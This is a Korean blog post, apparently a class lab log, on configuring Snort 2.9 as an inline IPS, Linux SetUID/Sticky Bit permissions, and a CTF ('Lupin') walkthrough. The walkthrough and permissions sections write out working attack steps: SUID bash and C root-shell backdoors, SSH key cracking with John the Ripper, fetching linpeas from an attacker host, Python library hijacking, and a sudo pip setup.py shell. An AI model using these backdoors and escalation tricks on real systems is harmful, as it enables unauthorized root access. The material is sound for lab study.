오늘은 Snort를 이용한 IPS 환경 구성, 리눅스 특수 권한 개념, 그리고 CTF 문제 풀이까지 진행했다. 각 주제를 순서대로 정리한다.
1. 실습 환경 구성
가상머신 세 대를 기반으로 실습을 진행했다.
머신 역할
| Ubuntu (원본) | Snort + OSSEC |
| Ubuntu (리버스) | Snort 2.9.x |
| Kali Linux | Suricata / 공격자 역할 |
Ubuntu 머신에는 네트워크 어댑터를 두 개 연결했다. 하나는 NAT, 하나는 브릿지 모드로 설정하고, 두 어댑터 모두 Promiscuous Mode(무차별 모드)를 허용했다.
Promiscuous Mode란? 일반적으로 NIC(네트워크 카드)는 자신의 MAC 주소로 향하는 패킷만 받아들인다. Promiscuous Mode를 활성화하면 네트워크를 지나는 모든 패킷을 수신한다. IDS/IPS가 트래픽 전체를 감시하려면 반드시 필요한 설정이다.
2. 네트워크 초기 세팅
정적 IP와 DHCP가 충돌하면 게이트웨이가 사라지는 문제가 반복됐다. 매번 아래 명령어로 수동 복구했다.
# IP 수동 할당
sudo ip addr add 172.16.11.236/24 dev enp0s3
# 인터페이스 활성화
sudo ip link set enp0s3 up
sudo ip link set enp0s8 up
# 기본 게이트웨이 설정
sudo ip route add default via 172.16.11.254 dev enp0s3
# Promiscuous Mode 활성화
sudo ip link set enp0s3 promisc on
sudo ip link set enp0s8 promisc on
# 인터페이스 상태 확인
sudo ip link show enp0s3
ip addr
3. Snort 2.9 IPS 구성
설치
sudo apt install -y snort
# 설치 중 네트워크 대역 입력: 172.16.11.0/24
sudo snort -V
# Snort 2.9.20 확인
snort.conf 설정
sudo vi /etc/snort/snort.conf
추가 또는 수정할 항목:
config daq: afpacket
config daq_mode: inline
config logdir: /var/log/snort
각 설정의 의미
설정 설명
| daq: afpacket | 리눅스 커널의 AF_PACKET 소켓을 사용해 패킷을 직접 처리한다 |
| daq_mode: inline | 패킷을 감시만 하는 것이 아니라 차단까지 수행하는 IPS 모드 |
| logdir | 탐지 로그 저장 경로 |
Snort 3.x는 Lua 기반으로 설정 구조가 완전히 다르다. 2.9 버전 기준으로 작성된 설정이므로 혼용하지 않도록 주의한다.
설정 검증 및 실행
# 설정 파일 문법 검사
sudo snort -T -c /etc/snort/snort.conf -i enp0s3:enp0s8
# "Successfully validated the Snort configuration" 확인
# IPS 모드 실행
sudo snort -A console -Q -c /etc/snort/snort.conf -i enp0s3:enp0s8
옵션 설명
옵션 의미
| -A console | 탐지 결과를 터미널에 실시간 출력 |
| -Q | inline(IPS) 모드 활성화 |
| -c | 설정 파일 경로 지정 |
| -i enp0s3:enp0s8 | 두 인터페이스를 묶어 인라인 처리 |
ICMP 차단 룰 작성
sudo vi /etc/snort/rules/local.rules
drop icmp any any -> any any (msg:"IPS PING TEST"; sid:1000001; rev:1;)
룰 구조 설명
항목 값 의미
| 액션 | drop | 패킷을 차단하고 로그 기록 |
| 프로토콜 | icmp | ICMP 패킷 대상 |
| 출발지 | any any | 모든 IP, 모든 포트 |
| 방향 | -> | 단방향 |
| 목적지 | any any | 모든 IP, 모든 포트 |
| msg | "IPS PING TEST" | 로그에 표시될 메시지 |
| sid | 1000001 | 사용자 정의 룰 ID (1000000번대 사용) |
# Kali에서 핑 발송
sudo ping 172.16.11.236
# Ubuntu에서 차단 로그 확인
tail /var/log/snort/snort.alert.fast | grep drop
4. 리눅스 특수 권한
/etc/passwd 파일 구조
순서 필드 설명
| 1 | Username | 로그인 이름 |
| 2 | Password | 현재는 x로 표시. 실제 해시는 /etc/shadow에 저장 |
| 3 | UID | 사용자 고유 ID. 0은 root |
| 4 | GID | 기본 그룹 ID |
| 5 | GECOS | 이름, 연락처 등 부가 정보 |
| 6 | Home Dir | 홈 디렉토리 경로 |
| 7 | Shell | 기본 쉘 경로 |
RGID와 EGID
구분 설명
| RGID (Real Group ID) | 프로세스를 실행한 실제 사용자의 그룹 ID |
| EGID (Effective Group ID) | 커널이 실제 권한 체크 시 참조하는 그룹 ID |
파일 접근 권한을 판단할 때 커널은 RGID가 아닌 EGID를 본다. SetUID/SetGID가 이 차이를 이용한다.
SetUID (SUID)
SetUID는 실행 파일에 설정하는 특수 권한이다. 이 권한이 설정된 파일은 누가 실행하든 파일 소유자의 권한(EUID)으로 동작한다.
왜 이게 중요한가?
리눅스에서 일반 사용자가 passwd 명령어로 자신의 비밀번호를 변경할 수 있는 이유가 바로 SetUID 때문이다. /usr/bin/passwd는 root 소유의 파일이고 SUID가 설정돼 있어서, 일반 유저가 실행해도 실행 순간만큼은 root 권한으로 /etc/shadow를 수정할 수 있다. 문제는 이 구조가 공격자에게도 동일하게 작동한다는 점이다. SUID가 설정된 파일을 악의적으로 만들거나, 기존 SUID 바이너리의 취약점을 이용하면 일반 계정으로 root 쉘을 획득할 수 있다.
파일 표기: -rwsr-xr-x
숫자 표기: 4755
# SUID 설정된 파일 목록 조회 (보안 점검 시 필수)
sudo find / -user root -perm /4000
SetUID 백도어 실습
# bash 복사 후 SUID 부여
sudo cp /bin/bash /tmp/bash
sudo chmod 4755 /tmp/bash
# 일반 유저로 실행
cd /tmp
./bash # → root 쉘 획득
C 백도어 작성
#include <stdio.h>
main() {
setuid(0);
setgid(0);
system("/bin/bash");
}
gcc -o backdoor backdoor.c
sudo chmod 4755 backdoor
# 일반 유저로 실행
su ys
./backdoor # → root 쉘
setuid(0)과 setgid(0)은 프로세스의 UID/GID를 강제로 0(root)으로 변경하는 호출이다. 파일에 SUID가 설정돼 있으면 이 호출이 성공하고, 이후 system("/bin/bash")로 root 쉘이 실행된다.
vi 하이재킹 실습
SUID 파일의 이름을 자주 쓰는 시스템 명령어로 위장하면 탐지가 어렵다.
# vi 백도어를 실제 vi 경로에 복사
gcc -o vibackdoor vibackdoor.c
# /usr/bin/vi는 alternatives를 통해 실제 바이너리로 연결됨
# test 계정으로 vi 실행 시 root 쉘 획득
su test
vi test.txt # → root 쉘
Sticky Bit
공용 디렉토리에서 자신이 만든 파일만 자신(과 root)이 삭제할 수 있도록 제한하는 권한이다. /tmp가 대표적인 예시다.
mkdir /share_d
chmod 1777 /share_d
ls -ld /share_d
# drwxrwxrwt → 마지막 't'가 Sticky Bit
권한 숫자 의미
| SetUID | 4xxx | 파일 소유자 권한으로 실행 |
| SetGID | 2xxx | 파일 그룹 권한으로 실행 |
| Sticky Bit | 1xxx | 본인 파일만 본인이 삭제 가능 |
5. CTF — Lupin
정찰
# 포트 및 서비스 스캔
sudo nmap -A -sS -sC -p- 172.16.11.219
# 디렉토리 탐색
sudo dirb http://172.16.11.219
sudo gobuster dir -u http://172.16.11.219 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
nmap 주요 옵션
옵션 명칭 설명
| -sS | TCP SYN Scan | 연결을 완전히 맺지 않는 스텔스 스캔 |
| -sV | Version Detection | 서비스 버전 확인 |
| -sC | Default Script | 기본 NSE 스크립트 실행 |
| -sn | Ping Scan | 생존 여부만 확인 |
| -A | Aggressive | OS/버전/스크립트/traceroute 통합 |
| -p- | All Ports | 전체 65535 포트 스캔 |
FFUF 디렉토리 퍼징 (디렉터리 검색, 퍼징 등을 수행하는 fest web fuzzer)
# 유저 디렉토리 탐색 (~FUZZ 형태)
sudo ffuf -u http://172.16.11.219/~FUZZ \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-t 200 -c
# → /~secret 발견
# 확장자 포함 파일 탐색
sudo ffuf -u http://172.16.11.219/~secret/.FUZZ \
-e .py,.java,.php,.dart,.rar,.zip,.txt,.html \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-t 200 -c -ic -fc 403
# 일반 파일 탐색
sudo ffuf -u http://172.16.11.219/~secret/FUZZ \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-ic -v
인코딩 — Base64 vs Base58
발견한 데이터가 인코딩된 형태였다. 두 방식의 차이를 정리했다.
구분 Base64 Base58
| 사용 문자 수 | 64개 | 58개 |
| 특수문자 | +, / 포함 | 없음 |
| 패딩 | = 사용 | 없음 |
| 혼동 문자 | O, 0, I, l 포함 | 제거됨 |
| 주요 용도 | 데이터 전송, 이메일 | 암호화폐 주소 |
SSH 개인키 크랙 — John the Ripper
# 권한 설정
sudo chmod 600 /home/red/victim_id_rsa
# ssh2john으로 해시 추출
sudo ssh2john /home/red/victim_id_rsa > hash_password
# 사전 파일로 크랙
sudo john --wordlist=/usr/share/wordlists/fasttrack.txt hash_password
# 결과: P@55w0rd!
John the Ripper는 해시를 사전 대입(Dictionary Attack) 또는 무차별 대입(Brute-force) 방식으로 크랙한다. SSH 개인키는 ssh2john으로 먼저 john이 처리할 수 있는 해시 형태로 변환해야 한다.
권한 상승 1 — Python Library Hijacking
# 공격자 머신에서 linpeas 서빙
python3 -m http.server 8080
# 피해자 머신에서 다운로드
wget http://172.16.11.213:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
# heist.py 확인
cat /home/arsene/heist.py
# webbrowser 모듈 경로 탐색
find / -name '*webbrowser*' 2>/dev/null
# 모듈 파일 수정
vi /usr/lib/python3.9/webbrowser.py
# import 구문 바로 아래에 추가:
# os.system("/bin/bash")
# arsene 권한으로 heist.py 실행
sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py
id # arsene 권한 확인
왜 이게 가능한가?
heist.py가 import webbrowser를 호출할 때 Python은 시스템에 설치된 /usr/lib/python3.9/webbrowser.py를 불러온다. 해당 파일을 수정할 수 있는 권한이 있었기 때문에, import 시점에 우리가 심어둔 os.system("/bin/bash")가 실행됐다. 프로그램이 신뢰하는 외부 모듈을 공격자가 조작하는 것을 Library Hijacking이라고 한다.
권한 상승 2 — pip setup.py 악용
# sudo 가능 명령어 확인
sudo -l
# → /usr/bin/pip 실행 가능 확인
# 임시 디렉토리 생성
TF=$(mktemp -d)
# setup.py에 쉘 코드 삽입
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
# root 권한으로 pip 실행
sudo /usr/bin/pip install $TF
# → root 쉘 획득
왜 pip로 권한 상승이 가능한가?
pip install은 패키지를 설치하는 과정에서 setup.py를 실행한다. sudo pip로 실행하면 이 setup.py가 root 권한으로 실행된다. 따라서 setup.py 안에 쉘을 여는 코드를 넣으면 root 쉘이 떨어진다. Library Hijacking과 본질적으로 같은 원리다. 신뢰받는 실행 경로에 공격자의 코드를 끼워넣는 것이다.
추가 정리
sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py
1. sudo -u [사용자]의 마법
sudo는 기본적으로 "다른 사용자의 권한으로 명령을 실행하라"는 도구입니다.
-u arsene: 이 옵션은 "나(icex64) 말고, arsene이라는 사용자의 이름으로 뒤에 오는 명령어를 실행해줘"라고 시스템에 요청하는 것입니다.
결과적으로 /usr/bin/python3.9 /home/arsene/heist.py라는 프로그램이 실행될 때, 운영체제는 이 프로그램의 주인을 icex64가 아닌 arsene으로 인식하게 됩니다.
icex64가 sudo -u arsene으로 프로그램을 돌림.
프로그램은 arsene의 권한으로 살아남.
프로그램이 webbrowser.py를 읽는 순간, 우리가 심어둔 코드가 작동하여 arsene 권한의 쉘(/bin/bash)을 띄움.
프로그램이 종료되지 않고 쉘이 열려 있으니, 사용자는 그대로 arsene 계정 안에 머물게 됨.
오늘의 핵심 정리
주제 핵심
| Snort IPS | afpacket + inline 모드, 인터페이스 두 개를 :로 묶어 인라인 처리 |
| Promiscuous Mode | NIC가 자신 외의 패킷도 수신. IDS/IPS 필수 설정 |
| SetUID | 실행 시 소유자 권한으로 동작. 보안 점검 시 find / -perm /4000 필수 |
| Library Hijacking | 프로그램이 import하는 모듈을 교체해 원하는 코드를 실행 |
| sudo -l | 권한 상승 시도 전 항상 먼저 확인. 예상치 못한 경로가 열려 있는 경우가 많음 |
| linpeas | 결과가 방대하므로 SUID, sudo 권한, writable 경로 섹션부터 확인 |
'리눅스' 카테고리의 다른 글
| [KaliLinux & Rocky9.7] 보안 인프라 구축 실습 정리 | Suricata IDS/IPS 설치 및 설정 가이드 (0) | 2026.05.13 |
|---|---|
| [KaliLinux_Ubuntu] 보안 인프라 구축 실습 정리 | Snort 3 · Nmap · IDS/IPS (0) | 2026.05.11 |
| [Ubuntu] VirtualBox DHCP IP 할당 불안정 문제 완벽 해결 가이드 (0) | 2026.05.01 |
| Rocky Linux DNS 서버 구축 후 브라우저에서 도메인이 안 열릴 때 해결법 (0) | 2026.04.02 |
| [Linux] 리눅스 6주차 DNS, Apache, Nginx, SSL 수업정리 (0) | 2026.03.13 |